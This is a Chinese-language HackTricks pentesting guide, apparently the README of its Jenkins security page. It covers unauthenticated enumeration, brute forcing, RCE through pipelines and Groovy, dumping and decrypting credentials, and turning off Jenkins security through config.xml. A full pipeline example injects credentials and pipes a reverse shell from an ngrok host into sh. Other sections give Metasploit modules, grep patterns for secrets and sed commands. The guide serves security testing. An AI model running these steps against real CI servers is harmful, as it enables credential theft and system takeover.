Files
hacktricks-cloud/src/pentesting-ci-cd/jenkins-security/README.md

15 KiB
Raw Blame History

Jenkins 安全

{{#include ../../banners/hacktricks-training.md}}

基本信息

Jenkins 是一个工具,提供了一种简单的方法来建立几乎任何编程语言和源代码库组合的 持续集成持续交付 (CI/CD) 环境,使用管道。此外,它还自动化了各种常规开发任务。虽然 Jenkins 并没有消除 为单个步骤创建脚本的需要,但它确实提供了一种比手动构建更快、更强大的方式来集成整个构建、测试和部署工具的序列。

{{#ref}} basic-jenkins-information.md {{#endref}}

未经身份验证的枚举

为了在没有身份验证的情况下搜索有趣的 Jenkins 页面,如 (/people/asynchPeople,这列出了当前用户),您可以使用:

msf> use auxiliary/scanner/http/jenkins_enum

检查您是否可以在不需要身份验证的情况下执行命令:

msf> use auxiliary/scanner/http/jenkins_command

在没有凭据的情况下,您可以查看 /asynchPeople/ 路径或 /securityRealm/user/admin/search/index?q= 以获取 用户名

您可能能够从路径 /oops/error 获取 Jenkins 版本。

已知漏洞

{{#ref}} https://github.com/gquere/pwn_jenkins {{#endref}}

登录

在基本信息中,您可以检查 所有登录 Jenkins 的方式

{{#ref}} basic-jenkins-information.md {{#endref}}

注册

您将能够找到 允许您创建帐户并登录的 Jenkins 实例。就这么简单。

SSO 登录

如果存在 SSO 功能/插件,那么您应该尝试使用测试帐户(即测试 Github/Bitbucket 帐户)登录应用程序。技巧来自 这里

暴力破解

Jenkins 缺乏 密码策略用户名暴力破解缓解。对用户进行 暴力破解 是至关重要的,因为可能使用 弱密码用户名作为密码,甚至 反向用户名作为密码

msf> use auxiliary/scanner/http/jenkins_login

密码喷射

使用 this python scriptthis powershell script

IP 白名单绕过

许多组织将 基于SaaS的源代码管理SCM系统(如 GitHub 或 GitLab内部自托管的 CI 解决方案(如 Jenkins 或 TeamCity结合使用。此设置允许 CI 系统 接收来自 SaaS 源代码供应商的 webhook 事件,主要用于触发管道作业。

为了实现这一点,组织 将 SCM 平台的 IP 范围列入白名单,允许它们通过 webhooks 访问 内部 CI 系统。然而,重要的是要注意 任何人 都可以在 GitHub 或 GitLab 上创建一个 账户 并将其配置为 触发 webhook,可能会向 内部 CI 系统 发送请求。

检查: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

内部 Jenkins 滥用

在这些场景中,我们假设您拥有访问 Jenkins 的有效账户。

Warning

根据 Jenkins 中配置的 授权 机制和被攻击用户的权限,您 可能能够或无法执行以下攻击。

有关更多信息,请查看基本信息:

{{#ref}} basic-jenkins-information.md {{#endref}}

列出用户

如果您已访问 Jenkins您可以在 http://127.0.0.1:8080/asynchPeople/ 列出其他注册用户。

转储构建以查找明文秘密

使用 this script 转储构建控制台输出和构建环境变量,以希望找到明文秘密。

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

窃取 SSH 凭证

如果被攻击的用户具有 足够的权限来创建/修改新的 Jenkins 节点,并且 SSH 凭证已经存储以访问其他节点,他可以通过创建/修改一个节点并 设置一个将记录凭证的主机 而不验证主机密钥来 窃取这些凭证

您通常可以在 全局提供者 (/credentials/) 中找到 Jenkins ssh 凭证,因此您也可以像转储任何其他秘密一样转储它们。更多信息请参见 转储秘密部分

Jenkins 中的 RCE

在 Jenkins 服务器上获得 shell 使攻击者有机会泄露所有 秘密环境变量,并 利用同一网络中 的其他机器,甚至 收集云凭证

默认情况下Jenkins 将 以 SYSTEM 身份运行。因此,攻陷它将使攻击者获得 SYSTEM 权限

创建/修改项目的 RCE

创建/修改项目是一种获得 Jenkins 服务器 RCE 的方式:

{{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}}

执行 Groovy 脚本的 RCE

您还可以通过执行 Groovy 脚本获得 RCE这可能比创建新项目更隐蔽

{{#ref}} jenkins-rce-with-groovy-script.md {{#endref}}

创建/修改管道的 RCE

您还可以通过 创建/修改管道 来获得 RCE

{{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}}

管道利用

要利用管道,您仍然需要访问 Jenkins。

构建管道

管道 也可以用作 项目中的构建机制,在这种情况下,可以配置一个 存储库中的文件,该文件将包含管道语法。默认情况下使用 /Jenkinsfile

还可以 将管道配置文件存储在其他地方(例如在其他存储库中),目的是 分离 存储库 访问 和管道访问。

如果攻击者对该文件具有 写入访问权限,他将能够 修改 它并 可能触发 管道,而无需访问 Jenkins。
攻击者可能需要 绕过一些分支保护(根据平台和用户权限,这些保护可能会被绕过或不被绕过)。

执行自定义管道的最常见触发器是:

  • 对主分支的拉取请求(或可能对其他分支)
  • 推送到主分支(或可能对其他分支)
  • 更新主分支 并等待以某种方式执行

Note

如果您是 外部用户,您不应该期望创建 PR 到其他用户/组织的主分支触发管道...但如果配置 不当,您可能会通过利用这一点完全 攻陷公司

管道 RCE

在前面的 RCE 部分中已经指明了一种技术来 通过修改管道获取 RCE

检查环境变量

可以为整个管道或特定阶段声明 明文环境变量。这些环境变量 不应包含敏感信息,但攻击者始终可以 检查所有管道 配置/Jenkinsfiles

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

有关 Jenkins 通常如何处理秘密的信息,请查看基本信息:

{{#ref}} basic-jenkins-information.md {{#endref}}

凭据可以作用于全局提供者/credentials/)或特定项目/job/<project-name>/configure)。因此,为了提取所有凭据,您需要至少妥协所有包含秘密的项目并执行自定义/被污染的管道。

还有另一个问题,为了在管道的环境中获取一个秘密,您需要知道秘密的名称和类型。例如,如果您尝试将一个**usernamePassword** 秘密作为**string** 秘密加载,您将会收到此错误

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

这里是加载一些常见秘密类型的方法:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

在本页的末尾,您可以找到所有凭证类型 https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Warning

一次性转储所有秘密的最佳方法是妥协****Jenkins机器(例如在内置节点上运行反向 shell然后泄露****主密钥加密秘密并离线解密它们。
有关如何在节点和代理部分后期利用部分中执行此操作的更多信息。

触发器

来自文档triggers指令定义了管道应重新触发的自动方式。对于与GitHub或BitBucket等源集成的管道triggers可能不是必需的因为基于webhook的集成可能已经存在。目前可用的触发器有cronpollSCMupstream

Cron示例

triggers { cron('H */4 * * 1-5') }

检查 文档中的其他示例

节点与代理

一个 Jenkins 实例 可能在 不同的机器上运行不同的代理。从攻击者的角度来看,访问不同的机器意味着 不同的潜在云凭证 可以被窃取或 不同的网络访问 可能被滥用以利用其他机器。

有关更多信息,请查看基本信息:

{{#ref}} basic-jenkins-information.md {{#endref}}

您可以在 /computer/ 中枚举 配置的节点,通常会找到 内置节点(即运行 Jenkins 的节点)以及可能更多的节点:

攻陷内置节点 特别有趣,因为它包含敏感的 Jenkins 信息。

要指示您想在 内置 Jenkins 节点运行 管道,您可以在管道中指定以下配置:

pipeline {
agent {label 'built-in'}

完整示例

在特定代理中的管道,带有 cron 触发器,具有管道和阶段环境变量,在一个步骤中加载 2 个变量并发送反向 shell

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

任意文件读取到 RCE

{{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md {{#endref}}

RCE

{{#ref}} jenkins-rce-with-groovy-script.md {{#endref}}

{{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}}

{{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}}

后期利用

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

您可以通过访问 /credentials/ 列出秘密,如果您拥有足够的权限。请注意,这只会列出 credentials.xml 文件中的秘密,但 构建配置文件 可能还有 更多凭据

如果您可以 查看每个项目的配置,您也可以在其中看到用于访问存储库的 凭据名称(秘密)项目的其他凭据

From Groovy

{{#ref}} jenkins-dumping-secrets-from-groovy.md {{#endref}}

From disk

这些文件用于 解密 Jenkins 秘密

  • secrets/master.key
  • secrets/hudson.util.Secret

这样的 秘密通常可以在

  • credentials.xml
  • jobs/.../build.xml
  • jobs/.../config.xml

这是一个用于查找它们的正则表达式:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

离线解密Jenkins秘密

如果您已经转储了 解密秘密所需的密码,请使用 这个脚本 来解密这些秘密

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

从 Groovy 解密 Jenkins 秘密

println(hudson.util.Secret.decrypt("{...}"))

创建新管理员用户

  1. 访问 Jenkins config.xml 文件在 /var/lib/jenkins/config.xmlC:\Program Files (x86)\Jenkis\
  2. 搜索 <useSecurity>true</useSecurity> 并将 true 改为 false
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. 重启 Jenkins 服务器: service jenkins restart
  5. 现在再次访问 Jenkins 门户,Jenkins 这次不会要求任何凭据。您可以导航到 "管理 Jenkins" 以重新设置 管理员密码
  6. 通过将设置更改为 <useSecurity>true</useSecurity> 再次 启用 安全性,并 再次重启 Jenkins

参考

{{#include ../../banners/hacktricks-training.md}}